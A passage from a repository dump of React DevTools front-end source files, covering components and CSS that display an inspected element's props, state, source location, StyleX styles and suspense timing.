inspectedElement: InspectedElement,\n  store: Store,\n};\n\nexport default function InspectedElementPropsTree({\n  bridge,\n  element,\n  inspectedElement,\n  store,\n}: Props): React.Node {\n  const {readOnly} = React.useContext(OptionsContext);\n\n  const {\n    canEditFunctionProps,\n    canEditFunctionPropsDeletePaths,\n    canEditFunctionPropsRenamePaths,\n    props,\n    type,\n  } = inspectedElement;\n\n  const canDeletePaths =\n    type === ElementTypeClass || canEditFunctionPropsDeletePaths;\n  const canEditValues =\n    !readOnly &&\n    (type === ElementTypeClass || canEditFunctionProps) &&\n    // Make it read-only for Suspense to make it a bit cleaner. It's not\n    // useful to edit children anyway.\n    type !== ElementTypeSuspense &&\n    type !== ElementTypeActivity;\n  const canRenamePaths =\n    type === ElementTypeClass || canEditFunctionPropsRenamePaths;\n\n  // Skip the section for null props.\n  if (props == null) {\n    return null;\n  }\n\n  const entries = Object.entries(props);\n  entries.sort(alphaSortEntries);\n  const isEmpty = entries.length === 0;\n\n  const handleCopy = withPermissionsCheck(\n    {permissions: ['clipboardWrite']},\n    () => copy(serializeDataForCopy(props)),\n  );\n\n  return (\n    <div data-testname=\"InspectedElementPropsTree\">\n      <div className={styles.HeaderRow}>\n        <div className={styles.Header}>props</div>\n        {!isEmpty && (\n          <Button onClick={handleCopy} title=\"Copy to clipboard\">\n            <ButtonIcon type=\"copy\" />\n          </Button>\n        )}\n      </div>\n      {!isEmpty &&\n        entries.map(([name, value]) => (\n          <KeyValue\n            key={name}\n            alphaSort={true}\n            bridge={bridge}\n            canDeletePaths={canDeletePaths}\n            canEditValues={canEditValues}\n            canRenamePaths={canRenamePaths}\n            depth={1}\n            element={element}\n            hidden={false}\n            inspectedElement={inspectedElement}\n            name={name}\n            path={[name]}\n            pathRoot=\"props\"\n            store={store}\n            value={value}\n          />\n        ))}\n      {canEditValues && (\n        <NewKeyValue\n          bridge={bridge}\n          depth={0}\n          hidden={false}\n          inspectedElement={inspectedElement}\n          path={[]}\n          store={store}\n          type=\"props\"\n        />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSharedStyles.css",
    "content": ".HeaderRow {\n  display: flex;\n  align-items: center;\n}\n\n.Header {\n  display: flex;\n  align-items: center;\n  flex: 1 1;\n  font-family: var(--font-family-sans);\n}\n\n.Item {\n  display: flex;\n}\n\n.Name {\n  color: var(--color-attribute-name);\n  flex: 0 0 auto;\n}\n.Name:after {\n  content: ': ';\n  color: var(--color-text);\n  margin-right: 0.5rem;\n}\n\n.Value {\n  color: var(--color-attribute-value);\n  overflow: hidden;\n  text-overflow: ellipsis;\n}\n\n.None {\n  color: var(--color-dimmer);\n  font-style: italic;\n}\n\n.Empty {\n  color: var(--color-dimmer);\n  font-style: italic;\n  padding-left: 0.75rem;\n}\n\n.ToggleSuspenseRow {\n  padding-left: 1rem;\n  white-space: nowrap;\n  display: flex;\n  align-items: center;\n}\n\n.EditableValue {\n  min-width: 1rem;\n}\n\n.InfoRow {\n  border-top: 1px solid var(--color-border);\n  padding: 0.5rem 1rem;\n}\n\n.InfoRow:last-child {\n  margin-bottom: -0.25rem;\n}\n\n.CollapsableRow {\n  border-top: 1px solid var(--color-border);\n}\n\n.CollapsableRow:last-child {\n  margin-bottom: -0.25rem;\n}\n\n.CollapsableHeader {\n  width: 100%;\n  padding: 0.25rem;\n  display: flex;\n}\n\n.CollapsableHeader[data-pending=\"true\"] {\n  cursor: progress;\n}\n\n.CollapsableHeaderIcon {\n  flex: 0 0 1rem;\n  margin-left: -0.25rem;\n  width: 1rem;\n  height: 1rem;\n  padding: 0;\n  color: var(--color-expand-collapse-toggle);\n}\n\n.CollapsableHeaderTitle, .CollapsableHeaderDescription, .CollapsableHeaderSeparator, .CollapsableHeaderFiller {\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  text-align: left;\n  white-space: nowrap;\n}\n.CollapsableHeaderTitle {\n  flex: 0 1 auto;\n  overflow: hidden;\n  text-overflow: ellipsis;\n}\n\n.CollapsableHeaderSeparator {\n  flex: 0 0 auto;\n  white-space: pre;\n}\n\n.CollapsableHeaderFiller {\n  flex: 1 0 0;\n}\n\n.CollapsableContent {\n  margin-top: -0.25rem;\n}\n\n.PreviewContainer {\n  padding: 0.25rem;\n}\n\n.TimeBarContainer {\n  position: relative;\n  flex: 0 0 20%;\n  height: 0.25rem;\n  border-radius: 0.125rem;\n  background-color: var(--color-timebar-background);\n}\n\n.TimeBarSpan, .TimeBarSpanErrored {\n  position: absolute;\n  border-radius: 0.125rem;\n  background-color: var(--color-suspense);\n  width: 100%;\n  height: 100%;\n}\n\n.TimeBarSpanErrored {\n  background-color: var(--color-suspense-errored);\n}\n\n.SmallHeader {\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  padding-left: 1.25rem;\n  margin-top: 0.25rem;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSourcePanel.css",
    "content": ".SourceHeaderRow {\n  display: flex;\n  align-items: center;\n  min-height: 24px;\n}\n\n.SourceHeader {\n  flex: 1 1;\n  font-family: var(--font-family-sans);\n}\n\n.SourceOneLiner {\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  white-space: nowrap;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  max-width: 100%;\n  margin-left: 1rem;\n}\n\n.Link {\n  color: var(--color-link);\n  white-space: pre;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  flex: 1;\n  cursor: pointer;\n  border-radius: 0.125rem;\n  padding: 0px 2px;\n}\n\n.Link:hover {\n  background-color: var(--color-background-hover);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSourcePanel.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {copy} from 'clipboard-js';\n\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport Skeleton from './Skeleton';\nimport {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';\n\nimport useOpenResource from '../useOpenResource';\n\nimport type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';\nimport type {ReactFunctionLocation} from 'shared/ReactTypes';\nimport styles from './InspectedElementSourcePanel.css';\n\nimport formatLocationForDisplay from './formatLocationForDisplay';\n\ntype Props = {\n  source: ReactFunctionLocation,\n  symbolicatedSourcePromise: Promise<SourceMappedLocation | null>,\n};\n\nfunction InspectedElementSourcePanel({\n  source,\n  symbolicatedSourcePromise,\n}: Props): React.Node {\n  return (\n    <div>\n      <div className={styles.SourceHeaderRow}>\n        <div className={styles.SourceHeader}>source</div>\n\n        <React.Suspense\n          fallback={\n            <Button disabled={true} title=\"Loading source maps...\">\n              <ButtonIcon type=\"copy\" />\n            </Button>\n          }>\n          <CopySourceButton\n            source={source}\n            symbolicatedSourcePromise={symbolicatedSourcePromise}\n          />\n        </React.Suspense>\n      </div>\n\n      <React.Suspense\n        fallback={\n          <div className={styles.SourceOneLiner}>\n            <Skeleton height={16} width=\"40%\" />\n          </div>\n        }>\n        <FormattedSourceString\n          source={source}\n          symbolicatedSourcePromise={symbolicatedSourcePromise}\n        />\n      </React.Suspense>\n    </div>\n  );\n}\n\nfunction CopySourceButton({source, symbolicatedSourcePromise}: Props) {\n  const symbolicatedSource = React.use(symbolicatedSourcePromise);\n  if (symbolicatedSource == null) {\n    const [, sourceURL, line, column] = source;\n    const handleCopy = withPermissionsCheck(\n      {permissions: ['clipboardWrite']},\n      () => copy(`${sourceURL}:${line}:${column}`),\n    );\n\n    return (\n      <Button onClick={handleCopy} title=\"Copy to clipboard\">\n        <ButtonIcon type=\"copy\" />\n      </Button>\n    );\n  }\n\n  const [, sourceURL, line, column] = symbolicatedSource.location;\n  const handleCopy = withPermissionsCheck(\n    {permissions: ['clipboardWrite']},\n    () => copy(`${sourceURL}:${line}:${column}`),\n  );\n\n  return (\n    <Button onClick={handleCopy} title=\"Copy to clipboard\">\n      <ButtonIcon type=\"copy\" />\n    </Button>\n  );\n}\n\nfunction FormattedSourceString({source, symbolicatedSourcePromise}: Props) {\n  const symbolicatedSource = React.use(symbolicatedSourcePromise);\n\n  const [linkIsEnabled, viewSource] = useOpenResource(\n    source,\n    symbolicatedSource == null ? null : symbolicatedSource.location,\n  );\n\n  const [, sourceURL, line, column] =\n    symbolicatedSource == null ? source : symbolicatedSource.location;\n\n  return (\n    <div\n      className={styles.SourceOneLiner}\n      data-testname=\"InspectedElementView-FormattedSourceString\">\n      <span\n        className={linkIsEnabled ? styles.Link : null}\n        title={sourceURL + ':' + line}\n        onClick={viewSource}>\n        {formatLocationForDisplay(sourceURL, line, column)}\n      </span>\n    </div>\n  );\n}\n\nexport default InspectedElementSourcePanel;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementStateTree.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {copy} from 'clipboard-js';\nimport * as React from 'react';\nimport {ElementTypeHostComponent} from 'react-devtools-shared/src/frontend/types';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport KeyValue from './KeyValue';\nimport {alphaSortEntries, serializeDataForCopy} from '../utils';\nimport Store from '../../store';\nimport styles from './InspectedElementSharedStyles.css';\nimport {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';\n\nimport type {InspectedElement} from 'react-devtools-shared/src/frontend/types';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {Element} from 'react-devtools-shared/src/frontend/types';\n\ntype Props = {\n  bridge: FrontendBridge,\n  element: Element,\n  inspectedElement: InspectedElement,\n  store: Store,\n};\n\nexport default function InspectedElementStateTree({\n  bridge,\n  element,\n  inspectedElement,\n  store,\n}: Props): React.Node {\n  const {state, type} = inspectedElement;\n  if (state == null) {\n    return null;\n  }\n\n  // HostSingleton and HostHoistable may have state that we don't want to expose to users\n  const isHostComponent = type === ElementTypeHostComponent;\n  const entries = Object.entries(state);\n  const isEmpty = entries.length === 0;\n  if (isEmpty || isHostComponent) {\n    return null;\n  }\n\n  entries.sort(alphaSortEntries);\n  const handleCopy = withPermissionsCheck(\n    {permissions: ['clipboardWrite']},\n    () => copy(serializeDataForCopy(state)),\n  );\n\n  return (\n    <div>\n      <div className={styles.HeaderRow}>\n        <div className={styles.Header}>state</div>\n        {!isEmpty && (\n          <Button onClick={handleCopy} title=\"Copy to clipboard\">\n            <ButtonIcon type=\"copy\" />\n          </Button>\n        )}\n      </div>\n      {isEmpty && <div className={styles.Empty}>None</div>}\n      {!isEmpty &&\n        (entries: any).map(([name, value]) => (\n          <KeyValue\n            key={name}\n            alphaSort={true}\n            bridge={bridge}\n            canDeletePaths={true}\n            canEditValues={true}\n            canRenamePaths={true}\n            depth={1}\n            element={element}\n            hidden={false}\n            inspectedElement={inspectedElement}\n            name={name}\n            path={[name]}\n            pathRoot=\"state\"\n            store={store}\n            value={value}\n          />\n        ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementStyleXPlugin.css",
    "content": ".Source {\n  color: var(--color-dim);\n  margin-left: 1rem;\n  overflow: auto;\n  text-overflow: ellipsis;\n}"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementStyleXPlugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport KeyValue from './KeyValue';\nimport Store from '../../store';\nimport sharedStyles from './InspectedElementSharedStyles.css';\nimport styles from './InspectedElementStyleXPlugin.css';\nimport {enableStyleXFeatures} from 'react-devtools-feature-flags';\n\nimport type {InspectedElement} from 'react-devtools-shared/src/frontend/types';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {Element} from 'react-devtools-shared/src/frontend/types';\n\ntype Props = {\n  bridge: FrontendBridge,\n  element: Element,\n  inspectedElement: InspectedElement,\n  store: Store,\n};\n\nexport default function InspectedElementStyleXPlugin({\n  bridge,\n  element,\n  inspectedElement,\n  store,\n}: Props): React.Node {\n  if (!enableStyleXFeatures) {\n    return null;\n  }\n\n  const styleXPlugin = inspectedElement.plugins.stylex;\n  if (styleXPlugin == null) {\n    return null;\n  }\n\n  const {resolvedStyles, sources} = styleXPlugin;\n\n  return (\n    <div>\n      <div className={sharedStyles.HeaderRow}>\n        <div className={sharedStyles.Header}>stylex</div>\n      </div>\n      {sources.map(source => (\n        <div key={source} className={styles.Source}>\n          {source}\n        </div>\n      ))}\n      {Object.entries(resolvedStyles).map(([name, value]) => (\n        <KeyValue\n          key={name}\n          alphaSort={true}\n          bridge={bridge}\n          canDeletePaths={false}\n          canEditValues={false}\n          canRenamePaths={false}\n          depth={1}\n          element={element}\n          hidden={false}\n          inspectedElement={inspectedElement}\n          name={name}\n          path={[name]}\n          pathRoot=\"stylex\"\n          store={store}\n          value={value}\n        />\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSuspendedBy.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {copy} from 'clipboard-js';\nimport * as React from 'react';\nimport {useState, useTransition} from 'react';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport KeyValue from './KeyValue';\nimport {serializeDataForCopy, pluralize} from '../utils';\nimport Store from '../../store';\nimport styles from './InspectedElementSharedStyles.css';\nimport {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';\nimport StackTraceView from './StackTraceView';\nimport OwnerView from './OwnerView';\nimport {meta} from '../../../hydration';\nimport useInferredName from '../useInferredName';\n\nimport {getClassNameForEnvironment} from '../SuspenseTab/SuspenseEnvironmentColors.js';\n\nimport type {\n  InspectedElement,\n  SerializedAsyncInfo,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\n\nimport {\n  UNKNOWN_SUSPENDERS_NONE,\n  UNKNOWN_SUSPENDERS_REASON_PRODUCTION,\n  UNKNOWN_SUSPENDERS_REASON_OLD_VERSION,\n  UNKNOWN_SUSPENDERS_REASON_THROWN_PROMISE,\n} from '../../../constants';\nimport {ElementTypeRoot} from 'react-devtools-shared/src/frontend/types';\n\ntype RowProps = {\n  bridge: FrontendBridge,\n  element: Element,\n  inspectedElement: InspectedElement,\n  store: Store,\n  asyncInfo: SerializedAsyncInfo,\n  index: number,\n  minTime: number,\n  maxTime: number,\n  skipName?: boolean,\n};\n\nfunction getShortDescription(name: string, description: string): string {\n  const descMaxLength = 30 - name.length;\n  if (descMaxLength > 1) {\n    const l = description.length;\n    if (l > 0 && l <= descMaxLength) {\n      // We can fit the full description\n      return description;\n    } else if (\n      description.startsWith('http://') ||\n      description.startsWith('https://') ||\n      description.startsWith('/')\n    ) {\n      // Looks like a URL. Let's see if we can extract something shorter.\n      // We don't have to do a full parse so let's try something cheaper.\n      let queryIdx = description.indexOf('?');\n      if (queryIdx === -1) {\n        queryIdx = description.length;\n      }\n      if (description.charCodeAt(queryIdx - 1) === 47 /* \"/\" */) {\n        // Ends with slash. Look before that.\n        queryIdx--;\n      }\n      const slashIdx = description.lastIndexOf('/', queryIdx - 1);\n      // This may now be either the file name or the host.\n      // Include the slash to make it more obvious what we trimmed.\n      return '…' + description.slice(slashIdx, queryIdx);\n    }\n  }\n  return '';\n}\n\nfunction formatBytes(bytes: number) {\n  if (bytes < 1_000) {\n    return bytes + ' bytes';\n  }\n  if (bytes < 1_000_000) {\n    return (bytes / 1_000).toFixed(1) + ' kB';\n  }\n  if (bytes < 1_000_000_000) {\n    return (bytes / 1_000_000).toFixed(1) + ' mB';\n  }\n  return (bytes / 1_000_000_000).toFixed(1) + ' gB';\n}\n\nfunction SuspendedByRow({\n  bridge,\n  element,\n  inspectedElement,\n  store,\n  asyncInfo,\n  index,\n  minTime,\n  maxTime,\n  skipName,\n}: RowProps) {\n  const [isOpen, setIsOpen] = useState(false);\n  const [openIsPending, startOpenTransition] = useTransition();\n  const ioInfo = asyncInfo.awaited;\n  const name = useInferredName(asyncInfo);\n  const description = ioInfo.description;\n  const longName = description === '' ? name : name + ' (' + description + ')';\n  const shortDescription = getShortDescription(name, description);\n  const start = ioInfo.start;\n  const end = ioInfo.end;\n  const timeScale = 100 / (maxTime - minTime);\n  let left = (start - minTime) * timeScale;\n  let width = (end - start) * timeScale;\n  if (width < 5) {\n    // Use at least a 5% width to avoid showing too small indicators.\n    width = 5;\n    if (left > 95) {\n      left = 95;\n    }\n  }\n\n  const ioOwner = ioInfo.owner;\n  const asyncOwner = asyncInfo.owner;\n  const showIOStack = ioInfo.stack !== null && ioInfo.stack.length !== 0;\n  // Only show the awaited stack if the I/O started in a different owner\n  // than where it was awaited. If it's started by the same component it's\n  // probably easy enough to infer and less noise in the common case.\n  const canShowAwaitStack =\n    (asyncInfo.stack !== null && asyncInfo.stack.length > 0) ||\n    (asyncOwner !== null && asyncOwner.id !== inspectedElement.id);\n  const showAwaitStack =\n    canShowAwaitStack &&\n    (!showIOStack ||\n      (ioOwner === null\n        ? asyncOwner !== null\n        : asyncOwner === null || ioOwner.id !== asyncOwner.id));\n\n  const value: any = ioInfo.value;\n  const metaName =\n    value !== null && typeof value === 'object' ? value[meta.name] : null;\n  const isFulfilled = metaName === 'fulfilled Thenable';\n  const isRejected = metaName === 'rejected Thenable';\n  return (\n    <div className={styles.CollapsableRow}>\n      <Button\n        className={styles.CollapsableHeader}\n        // TODO: May be better to leave to React's default Transition indicator.\n        // Though no apps implement this option at the moment.\n        data-pending={openIsPending}\n        onClick={() => {\n          startOpenTransition(() => {\n            setIsOpen(prevIsOpen => !prevIsOpen);\n          });\n        }}\n        // Changing the title on pending transition will not be visible since\n        // (Reach?) tooltips are dismissed on activation.\n        title={\n          longName +\n          ' — ' +\n          (end - start).toFixed(2) +\n          ' ms' +\n          (ioInfo.byteSize != null ? ' — ' + formatBytes(ioInfo.byteSize) : '')\n        }>\n        <ButtonIcon\n          className={styles.CollapsableHeaderIcon}\n          type={isOpen ? 'expanded' : 'collapsed'}\n        />\n        <span className={styles.CollapsableHeaderTitle}>\n          {skipName && shortDescription !== '' ? shortDescription : name}\n        </span>\n        {skipName || shortDescription === '' ? null : (\n          <>\n            <span className={styles.CollapsableHeaderSeparator}>{' ('}</span>\n            <span className={styles.CollapsableHeaderTitle}>\n              {shortDescription}\n            </span>\n            <span className={styles.CollapsableHeaderSeparator}>{') '}</span>\n          </>\n        )}\n        <div className={styles.CollapsableHeaderFiller} />\n        <div\n          className={\n            styles.TimeBarContainer +\n            ' ' +\n            getClassNameForEnvironment(ioInfo.env)\n          }>\n          <div\n            className={\n              !isRejected ? styles.TimeBarSpan : styles.TimeBarSpanErrored\n            }\n            style={{\n              left: left.toFixed(2) + '%',\n              width: width.toFixed(2) + '%',\n            }}\n          />\n        </div>\n      </Button>\n      {isOpen && (\n        <div className={styles.CollapsableContent}>\n          {showIOStack && (\n            <StackTraceView\n              stack={ioInfo.stack}\n              environmentName={\n                ioOwner !== null && ioOwner.env === ioInfo.env\n                  ? null\n                  : ioInfo.env\n              }\n            />\n          )}\n          {ioOwner !== null &&\n          ioOwner.id !== inspectedElement.id &&\n          (showIOStack ||\n            !showAwaitStack ||\n            asyncOwner === null ||\n            ioOwner.id !== asyncOwner.id) ? (\n            <OwnerView\n              key={ioOwner.id}\n              displayName={ioOwner.displayName || 'Anonymous'}\n              environmentName={\n                ioOwner.env === inspectedElement.env &&\n                ioOwner.env === ioInfo.env\n                  ? null\n                  : ioOwner.env\n              }\n              hocDisplayNames={ioOwner.hocDisplayNames}\n              compiledWithForget={ioOwner.compiledWithForget}\n              id={ioOwner.id}\n              isInStore={store.containsElement(ioOwner.id)}\n              type={ioOwner.type}\n            />\n          ) : null}\n          {showAwaitStack ? (\n            <>\n              <div className={styles.SmallHeader}>awaited at:</div>\n              {asyncInfo.stack !== null && asyncInfo.stack.length > 0 && (\n                <StackTraceView\n                  stack={asyncInfo.stack}\n                  environmentName={\n                    asyncOwner !== null && asyncOwner.env === asyncInfo.env\n                      ? null\n                      : asyncInfo.env\n                  }\n                />\n              )}\n              {asyncOwner !== null && asyncOwner.id !== inspectedElement.id ? (\n                <OwnerView\n                  key={asyncOwner.id}\n                  displayName={asyncOwner.displayName || 'Anonymous'}\n                  environmentName={\n                    asyncOwner.env === inspectedElement.env &&\n                    asyncOwner.env === asyncInfo.env\n                      ? null\n                      : asyncOwner.env\n                  }\n                  hocDisplayNames={asyncOwner.hocDisplayNames}\n                  compiledWithForget={asyncOwner.compiledWithForget}\n                  id={asyncOwner.id}\n                  isInStore={store.containsElement(asyncOwner.id)}\n                  type={asyncOwner.type}\n                />\n              ) : null}\n            </>\n          ) : null}\n          <div className={styles.PreviewContainer}>\n            <KeyValue\n              alphaSort={true}\n              bridge={bridge}\n              canDeletePaths={false}\n              canEditValues={false}\n              canRenamePaths={false}\n              depth={1}\n              element={element}\n              hidden={false}\n              inspectedElement={inspectedElement}\n              name={\n                isFulfilled\n                  ? 'awaited value'\n                  : isRejected\n                    ? 'rejected with'\n                    : 'pending value'\n              }\n              path={\n                isFulfilled\n                  ? [index, 'awaited', 'value', 'value']\n                  : isRejected\n                    ? [index, 'awaited', 'value', 'reason']\n                    : [index, 'awaited', 'value']\n              }\n              pathRoot=\"suspendedBy\"\n              store={store}\n              value={\n                isFulfilled ? value.value : isRejected ? value.reason : value\n              }\n            />\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n\ntype Props = {\n  bridge: FrontendBridge,\n  element: Element,\n  inspectedElement: InspectedElement,\n  store: Store,\n};\n\nfunction withIndex(\n  value: SerializedAsyncInfo,\n  index: number,\n): {\n  index: number,\n  value: SerializedAsyncInfo,\n} {\n  return {\n    index,\n    value,\n  };\n}\n\nfunction compareTime(\n  a: {\n    index: number,\n    value: SerializedAsyncInfo,\n  },\n  b: {\n    index: number,\n    value: SerializedAsyncInfo,\n  },\n): number {\n  const ioA = a.value.awaited;\n  const ioB = b.value.awaited;\n  if (ioA.start === ioB.start) {\n    return ioA.end - ioB.end;\n  }\n  return ioA.start - ioB.start;\n}\n\ntype GroupProps = {\n  bridge: FrontendBridge,\n  element: Element,\n  inspectedElement: InspectedElement,\n  store: Store,\n  name: string,\n  environment: null | string,\n  suspendedBy: Array<{\n    index: number,\n    value: SerializedAsyncInfo,\n  }>,\n  minTime: number,\n  maxTime: number,\n};\n\nfunction SuspendedByGroup({\n  bridge,\n  element,\n  inspectedElement,\n  store,\n  name,\n  environment,\n  suspendedBy,\n  minTime,\n  maxTime,\n}: GroupProps) {\n  const [isOpen, setIsOpen] = useState(false);\n  let start = Infinity;\n  let end = -Infinity;\n  let isRejected = false;\n  for (let i = 0; i < suspendedBy.length; i++) {\n    const asyncInfo: SerializedAsyncInfo = suspendedBy[i].value;\n    const ioInfo = asyncInfo.awaited;\n    if (ioInfo.start < start) {\n      start = ioInfo.start;\n    }\n    if (ioInfo.end > end) {\n      end = ioInfo.end;\n    }\n    const value: any = ioInfo.value;\n    if (\n      value !== null &&\n      typeof value === 'object' &&\n      value[meta.name] === 'rejected Thenable'\n    ) {\n      isRejected = true;\n    }\n  }\n  const timeScale = 100 / (maxTime - minTime);\n  let left = (start - minTime) * timeScale;\n  let width = (end - start) * timeScale;\n  if (width < 5) {\n    // Use at least a 5% width to avoid showing too small indicators.\n    width = 5;\n    if (left > 95) {\n      left = 95;\n    }\n  }\n  const pluralizedName = pluralize(name);\n  return (\n    <div className={styles.CollapsableRow}>\n      <Button\n        className={styles.CollapsableHeader}\n        onClick={() => {\n          setIsOpen(prevIsOpen => !prevIsOpen);\n        }}\n        title={pluralizedName}>\n        <ButtonIcon\n          className={styles.CollapsableHeaderIcon}\n          type={isOpen ? 'expanded' : 'collapsed'}\n        />\n        <span className={styles.CollapsableHeaderTitle}>{pluralizedName}</span>\n        <div className={styles.CollapsableHeaderFiller} />\n        {isOpen ? null : (\n          <div\n            className={\n              styles.TimeBarContainer +\n              ' ' +\n              getClassNameForEnvironment(environment)\n            }>\n            <div\n              className={\n                !isRejected ? styles.TimeBarSpan : styles.TimeBarSpanErrored\n              }\n              style={{\n                left: left.toFixed(2) + '%',\n                width: width.toFixed(2) + '%',\n              }}\n            />\n          </div>\n        )}\n      </Button>\n      {isOpen &&\n        suspendedBy.map(({value, index}) => (\n          <SuspendedByRow\n            key={index}\n            index={index}\n            asyncInfo={value}\n            bridge={bridge}\n            element={element}\n            inspectedElement={inspectedElement}\n            store={store}\n            minTime={minTime}\n            maxTime={maxTime}\n            skipName={true}\n          />\n        ))}\n    </div>\n  );\n}\n\nexport default function InspectedElementSuspendedBy({\n  bridge,\n  element,\n  inspectedElement,\n  store,\n}: Props): React.Node {\n  const {suspendedBy, suspendedByRange} = inspectedElement;\n\n  // Skip the section if nothing suspended this component.\n  if (\n    (suspendedBy == null || suspendedBy.length === 0) &&\n    inspectedElement.unknownSuspenders === UNKNOWN_SUSPENDERS_NONE\n  ) {\n    if (inspectedElement.isSuspended) {\n      // If we're still suspended, show a place holder until the data loads.\n      // We don't know what we're suspended by until it has loaded.\n      return (\n        <div>\n          <div className={styles.HeaderRow}>\n            <div className={styles.Header}>suspended...</div>\n          </div>\n        </div>\n      );\n    }\n    // For roots, show an empty state since there's nothing else to show for\n    // these elements.\n    // This can happen for older versions of React without Suspense, older versions\n    // of React with less sources for Suspense, or simple UIs that don't have any suspenders.\n    if (inspectedElement.type === ElementTypeRoot) {\n      return (\n        <div>\n          <div className={styles.HeaderRow}>\n            <div className={`${styles.Header} ${styles.Empty}`}>\n              Nothing suspended the initial paint.\n            </div>\n          </div>\n        </div>\n      );\n    }\n  }\n\n  const handleCopy = withPermissionsCheck(\n    {permissions: ['clipboardWrite']},\n    () => copy(serializeDataForCopy(suspendedBy)),\n  );\n\n  let minTime = Infinity;\n  let maxTime = -Infinity;\n  if (suspendedByRange !== null) {\n    // The range of the whole suspense boundary.\n    minTime = suspendedByRange[0];\n    maxTime = suspendedByRange[1];\n  }\n  for (let i = 0; i < suspendedBy.length; i++) {\n    const asyncInfo: SerializedAsyncInfo = suspendedBy[i];\n    if (asyncInfo.awaited.start < minTime) {\n      minTime = asyncInfo.awaited.start;\n    }\n    if (asyncInfo.awaited.end > maxTime) {\n      maxTime = asyncInfo.awaited.end;\n    }\n  }\n\n  if (maxTime - minTime < 25) {\n    // Stretch the time span a bit to ensure that we don't show\n    // large bars that represent very small timespans.\n    minTime = maxTime - 25;\n  }\n\n  const sortedSuspendedBy =\n    suspendedBy === null ? [] : suspendedBy.map(withIndex);\n  sortedSuspendedBy.sort(compareTime);\n\n  // Organize into groups of consecutive entries with the same name.\n  const groups = [];\n  let currentGroup = null;\n  let currentGroupName = null;\n  let currentGroupEnv = null;\n  for (let i = 0; i < sortedSuspendedBy.length; i++) {\n    const entry = sortedSuspendedBy[i];\n    const name = entry.value.awaited.name;\n    const env = entry.value.awaited.env;\n    if (\n      currentGroupName !== name ||\n      currentGroupEnv !== env ||\n      !name ||\n      name === 'Promise' ||\n      currentGroup === null\n    ) {\n      // Create a new group.\n      currentGroupName = name;\n      currentGroupEnv = env;\n      currentGroup = [];\n      groups.push(currentGroup);\n    }\n    currentGroup.push(entry);\n  }\n\n  let unknownSuspenders = null;\n  switch (inspectedElement.unknownSuspenders) {\n    case UNKNOWN_SUSPENDERS_REASON_PRODUCTION:\n      unknownSuspenders = (\n        <div className={styles.InfoRow}>\n          Something suspended but we don't know the exact reason in production\n          builds of React. Test this in development mode to see exactly what\n          might suspend.\n        </div>\n      );\n      break;\n    case UNKNOWN_SUSPENDERS_REASON_OLD_VERSION:\n      unknownSuspenders = (\n        <div className={styles.InfoRow}>\n          Something suspended but we don't track all the necessary information\n          in older versions of React. Upgrade to the latest version of React to\n          see exactly what might suspend.\n        </div>\n      );\n      break;\n    case UNKNOWN_SUSPENDERS_REASON_THROWN_PROMISE:\n      unknownSuspenders = (\n        <div className={styles.InfoRow}>\n          Something threw a Promise to suspend this boundary. It's likely an\n          outdated version of a library that doesn't yet fully take advantage of\n          use(). Upgrade your data fetching library to see exactly what might\n          suspend.\n        </div>\n      );\n      break;\n  }\n\n  if (groups.length === 0) {\n    return null;\n  }\n  return (\n    <div>\n      <div className={styles.HeaderRow}>\n        <div className={styles.Header}>suspended by</div>\n        <Button onClick={handleCopy} title=\"Copy to clipboard\">\n          <ButtonIcon type=\"copy\" />\n        </Button>\n      </div>\n      {groups.length === 1\n        ? // If it's only one type of suspender we can flatten it.\n          groups[0].map(entry => (\n            <SuspendedByRow\n              key={entry.index}\n              index={entry.index}\n              asyncInfo={entry.value}\n              bridge={bridge}\n              element={element}\n              inspectedElement={inspectedElement}\n              store={store}\n              minTime={minTime}\n              maxTime={maxTime}\n            />\n          ))\n        : groups.map((entries, index) =>\n            entries.length === 1 ? (\n              <SuspendedByRow\n                key={entries[0].index}\n                index={entries[0].index}\n                asyncInfo={entries[0].value}\n                bridge={bridge}\n                element={element}\n                inspectedElement={inspectedElement}\n                store={store}\n                minTime={minTime}\n                maxTime={maxTime}\n              />\n            ) : (\n              